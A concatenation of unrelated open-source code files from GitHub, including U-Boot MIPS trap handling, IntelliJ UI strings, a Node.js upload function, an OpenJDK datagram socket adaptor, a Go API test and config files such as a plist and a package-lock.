: %0*lx\n", field, regs->hi); printf("Lo : %0*lx\n", field, regs->lo); /* * Saved cp0 registers */ printf("epc : %0*lx (text %0*lx)\n", field, regs->cp0_epc, field, regs->cp0_epc - gd->reloc_off); printf("ra : %0*lx (text %0*lx)\n", field, regs->regs[31], field, regs->regs[31] - gd->reloc_off); printf("Status: %08x\n", (uint32_t) regs->cp0_status); exccode = (cause & CAUSEF_EXCCODE) >> CAUSEB_EXCCODE; printf("Cause : %08x (ExcCode %02x)\n", cause, exccode); if (1 <= exccode && exccode <= 5) printf("BadVA : %0*lx\n", field, regs->cp0_badvaddr); printf("PrId : %08x\n", read_c0_prid()); } void do_reserved(const struct pt_regs *regs) { puts("\nOoops:\n"); show_regs(regs); hang(); } void do_ejtag_debug(const struct pt_regs *regs) { const int field = 2 * sizeof(unsigned long); unsigned long depc; unsigned int debug; depc = read_c0_depc(); debug = read_c0_debug(); printf("SDBBP EJTAG debug exception: c0_depc = %0*lx, DEBUG = %08x\n", field, depc, debug); } static void set_handler(unsigned long offset, void *addr, unsigned long size) { unsigned long ebase = gd->irq_sp; memcpy((void *)(ebase + offset), addr, size); flush_cache(ebase + offset, size); } void trap_init(ulong reloc_addr) { unsigned long ebase = gd->irq_sp; set_handler(0x180, &except_vec3_generic, 0x80); set_handler(0x280, &except_vec_ejtag_debug, 0x80); saved_ebase = read_c0_ebase() & 0xfffff000; /* Set WG bit on Octeon to enable writing to bits 63:30 */ if (IS_ENABLED(CONFIG_ARCH_OCTEON)) ebase |= MIPS_EBASE_WG; write_c0_ebase(ebase); clear_c0_status(ST0_BEV); execution_hazard_barrier(); } void trap_restore(void) { set_c0_status(ST0_BEV); execution_hazard_barrier(); #ifdef CONFIG_OVERRIDE_EXCEPTION_VECTOR_BASE write_c0_ebase(CONFIG_NEW_EXCEPTION_VECTOR_BASE & 0xfffff000); #else write_c0_ebase(saved_ebase); #endif clear_c0_status(ST0_BEV); execution_hazard_barrier(); }
{ "pile_set_name": "Github" }
dialog.options.do.not.show=Do not show this dialog in the future dialog.options.do.not.ask=&Remember, don't ask again color.panel.select.color.dialog.description=Select Color color.panel.select.color.tooltip.text=Click to customize insert.file.path.to.text.action.name=Insert Path order.entries.panel.export.column.name=Export tree.view.expand.all.action.name=Expand All tree.view.collapse.all.action.name=Collapse All component.with.browse.button.browse.button.tooltip.text=Browse invalid.user.input.dialog.title=Input Error splitter.down.tooltip.text=Down splitter.right.tooltip.text=Right splitter.center.tooltip.text=Center splitter.up.tooltip.text=Up splitter.left.tooltip.text=Left autoscroll.from.source.action.name=Always Select Opened Element autoscroll.from.source.action.description=When an editor tab is selected, select the corresponding element in this view autoscroll.to.source.action.name=Navigate with Single Click autoscroll.to.source.action.description=When an element is selected, open it for editing collapsible.panel.collapsed.state.tooltip.text=Expand Panel collapsible.panel.expanded.state.tooltip.text=Collapse Panel idea.blue.metal.theme.name=beg blue replace.prompt.replace.button=&Replace replace.prompt.skip.button=&Skip replace.prompt.skip.all.in.file.button=Skip To &Next File replace.prompt.all.in.this.file.button=Replace All in This &File replace.prompt.all.files.action=&All Files replace.prompt.review.action=Re&view replace.prompt.all.button=&All replace.prompt.replace.occurrence.label=Do you want to replace this occurrence? search.popup.search.for.label=Search for: tabbed.pane.close.all.action.name=Close All tabbed.pane.close.all.but.this.action.name=Close All But This tabbed.pane.pin.tab.action.name=Pin Tab tabbed.pane.pin.tab.action.description=Pin tool window tab tabbed.pane.close.tab.action.name=Close Tab tabbed.pane.close.all.tabs.but.this.action.name=Close Other Tabs file.is.read.only.message.text=File ''{0}'' is read-only. files.are.read.only.message.text=Files {0} are read-only. error.dialog.title=Error tool.window.name.commander=Commander tool.window.name.messages=Messages tool.window.name.project=Project tool.window.name.structure=Structure tool.window.name.favorites=Favorites tool.window.name.ant.build=Ant tool.window.name.preview=Preview tool.window.name.debug=Debug tool.window.name.run=Run tool.window.name.build=Build tool.window.name.find=Find tool.window.name.cvs=CVS tool.window.name.hierarchy=Hierarchy tool.window.name.inspection=Inspection Results tool.window.name.todo=TODO tool.window.name.dependency.viewer=Dependency Viewer tool.window.name.version.control=Version Control tool.window.name.module.dependencies=Module Dependencies tool.window.name.tasks=Time Tracking tool.window.name.database=Database tool.window.name.extract.method=Extract Method tool.window.name.run.dashboard=Run Dashboard tool.window.name.services=Services tool.window.move.to.action.group.name=Move to tool.window.move.to.top.action.name=Top tool.window.move.to.left.action.name=Left tool.window.move.to.bottom.action.name=Bottom tool.window.move.to.right.action.name=Right tool.window.hide.action.name=Hide tool.window.hideSide.action.name=Hide Side memory.usage.panel.statistics.message=Max Heap Size: {0}M<br>Allocated: {1}M<br>Used: {2}M memory.usage.panel.message.text={0,number,####} of {1,number,####}M go.to.line.command.name=Go to Line position.panel.caret.count={0} carets position.panel.selected.chars.count={0,choice,1#char|2#chars} position.panel.selected.line.breaks.count={0} line {0,choice,1#break|2#breaks} popup.hints.panel.click.to.configure.highlighting.tooltip.text=Click to configure highlighting for this file popup.hints.panel.click.to.configure.profile.text=Click to configure inspection profiles welcome.screen.get.from.vcs.action.no.vcs.plugins.with.check.out.action.installed.action.name=No VCS plugins with Check-out action installed. welcome.screen.get.from.vcs.action.checkout.from.list.popup.title=Checkout from welcome.screen.recent.projects.action.no.recent.projects.to.display.action.name=No recent projects to display. welcome.screen.quick.start.action.group.name=Quick Start welcome.screen.documentation.action.group.name=Documentation welcome.screen.plugins.panel.plugins.label=Plugins welcome.screen.plugins.panel.manager.link=<html><body><u>Open Plugin Manager</u></body></html> welcome.screen.plugins.panel.my.plugins.label=My Plugins: welcome.screen.plugins.panel.bundled.plugins.label=Bundled Plugins: welcome.screen.plugins.panel.no.plugins.currently.installed.message.text=No plugins currently installed. welcome.screen.plugins.panel.all.bundled.plugins.were.uninstalled.message.text=All bundled plugins were uninstalled. welcome.screen.plugins.panel.learn.more.link=<html><body><u>...</u></body></html> welcome.screen.plugins.panel.learn.more.tooltip.text=Learn more... welcome.screen.text.not.specified.message=Not specified welcome.screen.jetbrains.tv.action.description=View short live demos introducing features of {0}. file.chooser.default.title=Select Path file.chooser.save.dialog.default.title=Select File to Save file.chooser.save.dialog.confirmation={0} already exists.\nDo you want to replace it? file.chooser.save.dialog.confirmation.title=Confirm Save as delete.dialog.title=Delete are.you.sure.you.want.to.delete.selected.folder.confirmation.message=Are you sure you want to delete folder ''{0}''? are.you.sure.you.want.to.delete.selected.file.confirmation.message=Delete ''{0}''? are.you.sure.you.want.to.delete.selected.files.and.directories.confirmation.message=Are you sure you want to delete {0} selected files and directories? are.you.sure.you.want.to.delete.selected.folders.confirmation.message=Are you sure you want to delete {0} selected directories? are.you.sure.you.want.to.delete.selected.files.and.files.confirmation.message=Are you sure you want to delete {0} selected files? create.new.folder.enter.new.folder.name.prompt.text=Enter a new folder name: create.new.folder.folder.name.cannot.be.empty.error.message=Folder name cannot be empty create.new.folder.could.not.create.folder.error.message=Could not create folder ''{0}'' new.folder.dialog.title=New Folder create.new.file.enter.new.file.name.prompt.text=Enter a new file name: create.new.file.file.name.cannot.be.empty.error.message=File name cannot be empty create.new.file.could.not.create.file.error.message=Could not create file ''{0}'' new.file.dialog.title=New File file.chooser.create.new.folder.command.name=Create New Folder file.chooser.create.new.file.command.name=Create New File file.chooser.create.new.scratch.file.command.name=Create New Scratch File file.cache.conflict.action=Reload From Disk file.cache.conflict.message.text=Changes have been made to ''{0}'' in memory and on disk. file.cache.conflict.load.fs.changes.button=&Load File System Changes file.cache.conflict.keep.memory.changes.button=&Keep Memory Changes file.cache.conflict.show.difference.button=&Show Difference file.cache.conflict.for.file.dialog.title=File Cache Conflict {0} file.cache.conflict.dialog.title=File Cache Conflict file.cache.conflict.diff.content.file.system.content=File system content file.cache.conflict.diff.content.memory.content=Memory content file.cache.conflict.save.changes.button=Save memory content cannot.save.files.dialog.title=Cannot Save Files cannot.save.files.dialog.message=Following errors occurred on attempt to save files: cannot.save.files.dialog.revert.changes=&Revert Changes cannot.save.files.dialog.ignore.changes=&Ignore Changes status.bar.column.status.text=Column choose.content.to.paste.dialog.title=Choose Content to Paste clipboard.history.purged.item=<purged> downloading.file.try.again.button=Tr&y Again downloading.file.change.http.proxy.settings=Change HTTP &Proxy Settings... remove.field.initializer.quick.fix=Remove field initializer button.add.class=Add Class... button.add.pattern=Add Pattern... button.remove=&Remove no.patterns=No class patterns configured class.filter.editor.choose.class.title=Choose Class class.filter.editor.add.dialog.title=New Filter label.class.filter.editor.add.dialog.filter.pattern=Enter the filter pattern: choose.class=Choose class big.text.control.window.title=Text tool.window.name.module.duplicates=Duplicates welcome.screen.disabled.plugins.description=(disabled) welcome.screen.incompatible.plugins.description=(incompatible) row.add=&Add row.remove=R&emove row.move.up=Move &Up row.move.down=Move &Down row.add.without.mnemonic=Add row.remove.without.mnemonic=Remove row.move.up.without.mnemonic=Move Up row.move.down.without.mnemonic=Move Down move.up.action.name=Move Up move.down.action.name=Move Down file.chooser.save.dialog.file.name=File name: tool.window.name.documentation=Documentation message.nothingToShow=Nothing to show message.nothingToShow.with.problem=Nothing to show ({0}) message.noMatchesFound=No matches found message.matches={0,choice, 0# matches|1# match|2# matches} message.files={0,choice, 0# files|1# file|2# files} tool.window.quick.access.title=Tool Windows Quick Access tool.window.quick.access.message=Hover over the icon below to access tool windows\nClick the icon to make tool windows buttons visible got.it=Got it! color.blindness.checkbox.text=Adjust colors for red-green vision deficiency (protanopia, deuteranopia) color.blindness.combobox.text=Adjust colors for color vision deficiency color.blindness.protanopia.name=Protanopia (red) color.blindness.deuteranopia.name=Deuteranopia (green) color.blindness.tritanopia.name=Tritanopia (blue) color.blindness.achromatopsia.name=Achromatopsia color.blindness.link.to.help=How it works color.settings.common.default.language=Default language color.settings.rainbow.demo.header.1=Semantic highlighting: color.settings.rainbow.demo.header.2=Generated spectrum to pick colors for local variables and parameters: crumbs.calculating.tooltip=Calculating... auth.login.label=&Login: auth.password.label=&Password: auth.remember.cb=&Remember proxy.system.label=<html>You have JVM property 'java.net.useSystemProxies' set to 'true'.<br>\ This will cause some network calls to go through operating system-defined proxy.<br>\ If you didn't intend to use system-defined proxy, please disable this property.</html> proxy.direct.rb=No proxy proxy.pac.rb=Auto-detect proxy settings proxy.pac.rb.tt=This will attempt to use your system settings and is useful if your system uses a proxy auto-configuration file (.pac). proxy.pac.url.label=Automatic proxy configuration URL\: proxy.pac.pw.clear.button=Clear passwords proxy.manual.rb=Manual proxy configuration proxy.manual.type.http=HTTP proxy.manual.type.socks=SOCKS proxy.manual.host=&Host name: proxy.manual.port=Port &number: proxy.manual.exclude=No proxy for: proxy.manual.exclude.example=Example\: *.domain.com, 192.168.* proxy.manual.auth=Proxy &authentication proxy.test.button=Check connection proxy.old.way.label=<html>You have JVM property \"{0}\" set to \"{1}\".<br>\ This may lead to incorrect behaviour. Proxy should be set in Settings | HTTP Proxy<br>\ This JVM property is old and its usage is not recommended by Oracle.<br>\ (Note: It could have been assigned by some code dynamically.)</html> date.dialog.title=Choose Date io.error.dialog.no.proxy=Set up HTTP proxy settings io.error.dialog.retry=Try again master.detail.err.empty.name=Name should contain non-space characters master.detail.err.duplicate={0} with the name ''{1}'' already exists
{ "pile_set_name": "Github" }
require('../lib/fakes'); module.exports = function upload(stream, idOrPath, tag, done) { var blob = blobManager.create(account); var tx = db.begin(); function backoff(err) { tx.rollback(); return done(err); } blob.put(stream, function (err, blobId) { if (err) return done(err); self.byUuidOrPath(idOrPath).get(function (err, file) { if (err) return done(err); var previousId = file ? file.version : null; var version = { userAccountId: userAccount.id, date: new Date(), blobId: blobId, creatorId: userAccount.id, previousId: previousId, }; version.id = Version.createHash(version); Version.insert(version).execWithin(tx, function (err) { if (err) return backoff(err); if (!file) { var splitPath = idOrPath.split('/'); var fileName = splitPath[splitPath.length - 1]; var newId = uuid.v1(); self.createQuery(idOrPath, { id: newId, userAccountId: userAccount.id, name: fileName, version: version.id }, function (err, q) { if (err) return backoff(err); q.execWithin(tx, function (err) { afterFileExists(err, newId); }); }) } else return afterFileExists(null, file.id); }); function afterFileExists(err, fileId) { if (err) return backoff(err); FileVersion.insert({fileId: fileId,versionId: version.id}) .execWithin(tx, function (err) { if (err) return backoff(err); File.whereUpdate({id: fileId}, { version: version.id }).execWithin(tx, function (err) { if (err) return backoff(err); tx.commit(done); }); }) } }); }); }
{ "pile_set_name": "Github" }
//********************************************************* // // Copyright (c) Microsoft. All rights reserved. // THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF // ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY // IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR // PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT. // //********************************************************* // // App.xaml.cpp // Implementation of the App.xaml class. // #include "pch.h" #include "MainPage.xaml.h" #include "Common\SuspensionManager.h" using namespace SDKSample; using namespace SDKSample::Common; using namespace Concurrency; using namespace Platform; using namespace Windows::ApplicationModel; using namespace Windows::ApplicationModel::Activation; using namespace Windows::Foundation; using namespace Windows::Foundation::Collections; using namespace Windows::UI::Core; using namespace Windows::UI::Xaml; using namespace Windows::UI::Xaml::Controls; using namespace Windows::UI::Xaml::Controls::Primitives; using namespace Windows::UI::Xaml::Data; using namespace Windows::UI::Xaml::Input; using namespace Windows::UI::Xaml::Interop; using namespace Windows::UI::Xaml::Media; using namespace Windows::UI::Xaml::Navigation; /// <summary> /// Initializes the singleton application object. This is the first line of authored code /// executed, and as such is the logical equivalent of main() or WinMain(). /// </summary> App::App() { InitializeComponent(); this->Suspending += ref new SuspendingEventHandler(this, &SDKSample::App::OnSuspending); } /// <summary> /// Invoked when the application is launched normally by the end user. Other entry points will /// be used when the application is launched to open a specific file, to display search results, /// and so forth. /// </summary> /// <param name="pArgs">Details about the launch request and process.</param> void App::OnLaunched(LaunchActivatedEventArgs^ pArgs) { this->LaunchArgs = pArgs; // Do not repeat app initialization when already running, just ensure that // the window is active if (pArgs->PreviousExecutionState == ApplicationExecutionState::Running) { Window::Current->Activate(); return; } // Create a Frame to act as the navigation context and associate it with // a SuspensionManager key auto rootFrame = ref new Frame(); SuspensionManager::RegisterFrame(rootFrame, "AppFrame"); auto prerequisite = task<void>([](){}); if (pArgs->PreviousExecutionState == ApplicationExecutionState::Terminated) { // Restore the saved session state only when appropriate, scheduling the // final launch steps after the restore is complete prerequisite = SuspensionManager::RestoreAsync(); } prerequisite.then([=]() { // When the navigation stack isn't restored navigate to the first page, // configuring the new page by passing required information as a navigation // parameter if (rootFrame->Content == nullptr) { if (!rootFrame->Navigate(TypeName(MainPage::typeid))) { throw ref new FailureException("Failed to create initial page"); } } // Place the frame in the current Window and ensure that it is active Window::Current->Content = rootFrame; Window::Current->Activate(); }, task_continuation_context::use_current()); } /// <summary> /// Invoked when application execution is being suspended. Application state is saved /// without knowing whether the application will be terminated or resumed with the contents /// of memory still intact. /// </summary> /// <param name="sender">The source of the suspend request.</param> /// <param name="e">Details about the suspend request.</param> void App::OnSuspending(Object^ sender, SuspendingEventArgs^ e) { (void) sender; // Unused parameter auto deferral = e->SuspendingOperation->GetDeferral(); SuspensionManager::SaveAsync().then([=]() { deferral->Complete(); }); }
{ "pile_set_name": "Github" }
/** * Common implementation for a simple stubbed view. Simply applies the view's styles to the inner * View component and renders its children. * * @providesModule UnimplementedView */ 'use strict'; var React = require('React'); var StyleSheet = require('StyleSheet'); var UnimplementedView = React.createClass({ setNativeProps: function() { // Do nothing. // This method is required in order to use this view as a Touchable* child. // See ensureComponentIsNative.js for more info }, render: function() { // Workaround require cycle from requireNativeComponent var View = require('View'); return ( <View style={[styles.unimplementedView, this.props.style]}> {this.props.children} </View> ); }, }); var styles = StyleSheet.create({ unimplementedView: { borderWidth: 1, borderColor: 'red', alignSelf: 'flex-start', } }); module.exports = UnimplementedView;
{ "pile_set_name": "Github" }
'use strict' module.exports = app => { const { STRING } = app.Sequelize const Tag = app.model.define('Tag', { name: STRING(20) }) return Tag }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleDisplayName</key> <string>${PRODUCT_NAME}</string> <key>CFBundleExecutable</key> <string>${EXECUTABLE_NAME}</string> <key>CFBundleIconFiles</key> <array> <string>Icon.png</string> <string>[email protected]</string> <string>Icon-72.png</string> <string>Icon-Small.png</string> <string>[email protected]</string> <string>Icon-Small-50.png</string> </array> <key>CFBundleIdentifier</key> <string>$(PRODUCT_BUNDLE_IDENTIFIER)</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>${PRODUCT_NAME}</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>$(MARKETING_VERSION)</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleVersion</key> <string>$(CURRENT_PROJECT_VERSION)</string> <key>LSRequiresIPhoneOS</key> <true/> <key>NSAppTransportSecurity</key> <dict> <key>NSAllowsArbitraryLoads</key> <true/> </dict> <key>NSHumanReadableCopyright</key> <string>Copyright © 2011-2014 Apple Inc.</string> <key>UILaunchStoryboardName</key> <string>Launch Screen</string> <key>UIMainStoryboardFile</key> <string>Main</string> </dict> </plist>
{ "pile_set_name": "Github" }
FOO=BAR HELLO=您好 BAR=FOO
{ "pile_set_name": "Github" }
<launch> <!-- Load the URDF into the ROS Parameter Server --> <param name="robot_description" command="$(find xacro)/xacro.py '$(find v4r_gazebo)/xacro/pioneer3dx.xacro'" /> <node pkg="robot_state_publisher" type="state_publisher" name="robot_state_publisher"> <param name="publish_frequency" type="double" value="30.0"/> <param name="tf_prefix" type="string" value=""/> </node> </launch>
{ "pile_set_name": "Github" }
The MIT License (MIT) Copyright (c) Sindre Sorhus <[email protected]> (sindresorhus.com) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
{ "pile_set_name": "Github" }
message <span class="message">CssIndexMap</span> { repeated <span class="string">string</span> nameList = 1; }
{ "pile_set_name": "Github" }
package integration import ( "testing" "github.com/stretchr/testify/assert" "github.com/zorkian/go-datadog-api" ) func TestUserCreateAndDelete(t *testing.T) { handle := "[email protected]" name := "tester" user, err := client.CreateUser(datadog.String(handle), datadog.String(name)) assert.NotNil(t, user) assert.Nil(t, err) // Users aren't actually deleted; they're disabled // As a result, this doesn't really create a new user. The existing user is disabled // at the end of the test, so we enable it here so that we can test deletion (disabling). user.Disabled = datadog.Bool(false) err = client.UpdateUser(*user) assert.Nil(t, err) defer func() { err := client.DeleteUser(handle) if err != nil { t.Fatalf("Failed to delete user: %s", err) } }() assert.Equal(t, *user.Handle, handle) assert.Equal(t, *user.Name, name) newUser, err := client.GetUser(handle) assert.Nil(t, err) assert.Equal(t, *newUser.Handle, handle) assert.Equal(t, *newUser.Name, name) }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2001, 2018, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package sun.nio.ch; import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.DatagramSocketImpl; import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.NetworkInterface; import java.net.SocketAddress; import java.net.SocketException; import java.net.SocketOption; import java.net.SocketTimeoutException; import java.net.StandardSocketOptions; import java.nio.ByteBuffer; import java.nio.channels.ClosedChannelException; import java.nio.channels.DatagramChannel; import java.nio.channels.IllegalBlockingModeException; import java.util.Objects; // Make a datagram-socket channel look like a datagram socket. // // The methods in this class are defined in exactly the same order as in // java.net.DatagramSocket so as to simplify tracking future changes to that // class. // public class DatagramSocketAdaptor extends DatagramSocket { // The channel being adapted private final DatagramChannelImpl dc; // Timeout "option" value for receives private volatile int timeout; // ## super will create a useless impl private DatagramSocketAdaptor(DatagramChannelImpl dc) throws IOException { // Invoke the DatagramSocketAdaptor(SocketAddress) constructor, // passing a dummy DatagramSocketImpl object to avoid any native // resource allocation in super class and invoking our bind method // before the dc field is initialized. super(dummyDatagramSocket); this.dc = dc; } public static DatagramSocket create(DatagramChannelImpl dc) { try { return new DatagramSocketAdaptor(dc); } catch (IOException x) { throw new Error(x); } } private void connectInternal(SocketAddress remote) throws SocketException { InetSocketAddress isa = Net.asInetSocketAddress(remote); int port = isa.getPort(); if (port < 0 || port > 0xFFFF) throw new IllegalArgumentException("connect: " + port); if (remote == null) throw new IllegalArgumentException("connect: null address"); try { dc.connect(remote); } catch (ClosedChannelException e) { // ignore } catch (Exception x) { Net.translateToSocketException(x); } } public void bind(SocketAddress local) throws SocketException { try { if (local == null) local = new InetSocketAddress(0); dc.bind(local); } catch (Exception x) { Net.translateToSocketException(x); } } public void connect(InetAddress address, int port) { try { connectInternal(new InetSocketAddress(address, port)); } catch (SocketException x) { // Yes, j.n.DatagramSocket really does this } } public void connect(SocketAddress remote) throws SocketException { Objects.requireNonNull(remote, "Address can't be null"); connectInternal(remote); } public void disconnect() { try { dc.disconnect(); } catch (IOException x) { throw new Error(x); } } public boolean isBound() { return dc.localAddress() != null; } public boolean isConnected() { return dc.remoteAddress() != null; } public InetAddress getInetAddress() { InetSocketAddress remote = dc.remoteAddress(); return (remote != null) ? remote.getAddress() : null; } public int getPort() { InetSocketAddress remote = dc.remoteAddress(); return (remote != null) ? remote.getPort() : -1; } public void send(DatagramPacket p) throws IOException { synchronized (dc.blockingLock()) { if (!dc.isBlocking()) throw new IllegalBlockingModeException(); try { synchronized (p) { ByteBuffer bb = ByteBuffer.wrap(p.getData(), p.getOffset(), p.getLength()); if (dc.isConnected()) { if (p.getAddress() == null) { // Legacy DatagramSocket will send in this case // and set address and port of the packet InetSocketAddress isa = dc.remoteAddress(); p.setPort(isa.getPort()); p.setAddress(isa.getAddress()); dc.write(bb); } else { // Target address may not match connected address dc.send(bb, p.getSocketAddress()); } } else { // Not connected so address must be valid or throw dc.send(bb, p.getSocketAddress()); } } } catch (IOException x) { Net.translateException(x); } } } private SocketAddress receive(ByteBuffer bb) throws IOException { assert Thread.holdsLock(dc.blockingLock()) && dc.isBlocking(); long to = this.timeout; if (to == 0) { return dc.receive(bb); } else { for (;;) { if (!dc.isOpen()) throw new ClosedChannelException(); long st = System.currentTimeMillis(); if (dc.pollRead(to)) { return dc.receive(bb); } to -= System.currentTimeMillis() - st; if (to <= 0) throw new SocketTimeoutException(); } } } public void receive(DatagramPacket p) throws IOException { synchronized (dc.blockingLock()) { if (!dc.isBlocking()) throw new IllegalBlockingModeException(); try { synchronized (p) { ByteBuffer bb = ByteBuffer.wrap(p.getData(), p.getOffset(), p.getLength()); SocketAddress sender = receive(bb); p.setSocketAddress(sender); p.setLength(bb.position() - p.getOffset()); } } catch (IOException x) { Net.translateException(x); } } } public InetAddress getLocalAddress() { if (isClosed()) return null; InetSocketAddress local = dc.localAddress(); if (local == null) local = new InetSocketAddress(0); InetAddress result = local.getAddress(); SecurityManager sm = System.getSecurityManager(); if (sm != null) { try { sm.checkConnect(result.getHostAddress(), -1); } catch (SecurityException x) { return new InetSocketAddress(0).getAddress(); } } return result; } public int getLocalPort() { if (isClosed()) return -1; try { InetSocketAddress local = dc.localAddress(); if (local != null) { return local.getPort(); } } catch (Exception x) { } return 0; } public void setSoTimeout(int timeout) throws SocketException { this.timeout = timeout; } public int getSoTimeout() throws SocketException { return timeout; } private void setBooleanOption(SocketOption<Boolean> name, boolean value) throws SocketException { try { dc.setOption(name, value); } catch (IOException x) { Net.translateToSocketException(x); } } private void setIntOption(SocketOption<Integer> name, int value) throws SocketException { try { dc.setOption(name, value); } catch (IOException x) { Net.translateToSocketException(x); } } private boolean getBooleanOption(SocketOption<Boolean> name) throws SocketException { try { return dc.getOption(name).booleanValue(); } catch (IOException x) { Net.translateToSocketException(x); return false; // keep compiler happy } } private int getIntOption(SocketOption<Integer> name) throws SocketException { try { return dc.getOption(name).intValue(); } catch (IOException x) { Net.translateToSocketException(x); return -1; // keep compiler happy } } public void setSendBufferSize(int size) throws SocketException { if (size <= 0) throw new IllegalArgumentException("Invalid send size"); setIntOption(StandardSocketOptions.SO_SNDBUF, size); } public int getSendBufferSize() throws SocketException { return getIntOption(StandardSocketOptions.SO_SNDBUF); } public void setReceiveBufferSize(int size) throws SocketException { if (size <= 0) throw new IllegalArgumentException("Invalid receive size"); setIntOption(StandardSocketOptions.SO_RCVBUF, size); } public int getReceiveBufferSize() throws SocketException { return getIntOption(StandardSocketOptions.SO_RCVBUF); } public void setReuseAddress(boolean on) throws SocketException { setBooleanOption(StandardSocketOptions.SO_REUSEADDR, on); } public boolean getReuseAddress() throws SocketException { return getBooleanOption(StandardSocketOptions.SO_REUSEADDR); } public void setBroadcast(boolean on) throws SocketException { setBooleanOption(StandardSocketOptions.SO_BROADCAST, on); } public boolean getBroadcast() throws SocketException { return getBooleanOption(StandardSocketOptions.SO_BROADCAST); } public void setTrafficClass(int tc) throws SocketException { setIntOption(StandardSocketOptions.IP_TOS, tc); } public int getTrafficClass() throws SocketException { return getIntOption(StandardSocketOptions.IP_TOS); } public void close() { try { dc.close(); } catch (IOException x) { throw new Error(x); } } public boolean isClosed() { return !dc.isOpen(); } public DatagramChannel getChannel() { return dc; } /* * A dummy implementation of DatagramSocketImpl that can be passed to the * DatagramSocket constructor so that no native resources are allocated in * super class. */ private static final DatagramSocketImpl dummyDatagramSocket = new DatagramSocketImpl() { protected void create() throws SocketException {} protected void bind(int lport, InetAddress laddr) throws SocketException {} protected void send(DatagramPacket p) throws IOException {} protected int peek(InetAddress i) throws IOException { return 0; } protected int peekData(DatagramPacket p) throws IOException { return 0; } protected void receive(DatagramPacket p) throws IOException {} @Deprecated protected void setTTL(byte ttl) throws IOException {} @Deprecated protected byte getTTL() throws IOException { return 0; } protected void setTimeToLive(int ttl) throws IOException {} protected int getTimeToLive() throws IOException { return 0;} protected void join(InetAddress inetaddr) throws IOException {} protected void leave(InetAddress inetaddr) throws IOException {} protected void joinGroup(SocketAddress mcastaddr, NetworkInterface netIf) throws IOException {} protected void leaveGroup(SocketAddress mcastaddr, NetworkInterface netIf) throws IOException {} protected void close() {} public Object getOption(int optID) throws SocketException { return null;} public void setOption(int optID, Object value) throws SocketException {} }; }
{ "pile_set_name": "Github" }
{ "name": "vlq", "version": "1.0.1", "lockfileVersion": 1, "requires": true, "dependencies": { "@babel/code-frame": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.0.0.tgz", "integrity": "sha512-OfC2uemaknXr87bdLUkWog7nYuliM9Ij5HUcajsVcMCpQrcLmtxRbVFTIqmcSkSeYRBFBRxs2FiUqFJDLdiebA==", "dev": true, "requires": { "@babel/highlight": "^7.0.0" } }, "@babel/highlight": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.0.0.tgz", "integrity": "sha512-UFMC4ZeFC48Tpvj7C8UgLvtkaUuovQX+5xNWrsIoMG8o2z+XFKjKaN9iVmS84dPwVN00W4wPmqvYoZF3EGAsfw==", "dev": true, "requires": { "chalk": "^2.0.0", "esutils": "^2.0.2", "js-tokens": "^4.0.0" } }, "@types/estree": { "version": "0.0.39", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", "dev": true }, "@types/node": { "version": "12.0.12", "resolved": "https://registry.npmjs.org/@types/node/-/node-12.0.12.tgz", "integrity": "sha512-Uy0PN4R5vgBUXFoJrKryf5aTk3kJ8Rv3PdlHjl6UaX+Cqp1QE0yPQ68MPXGrZOfG7gZVNDIJZYyot0B9ubXUrQ==", "dev": true }, "acorn": { "version": "6.1.1", "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.1.1.tgz", "integrity": 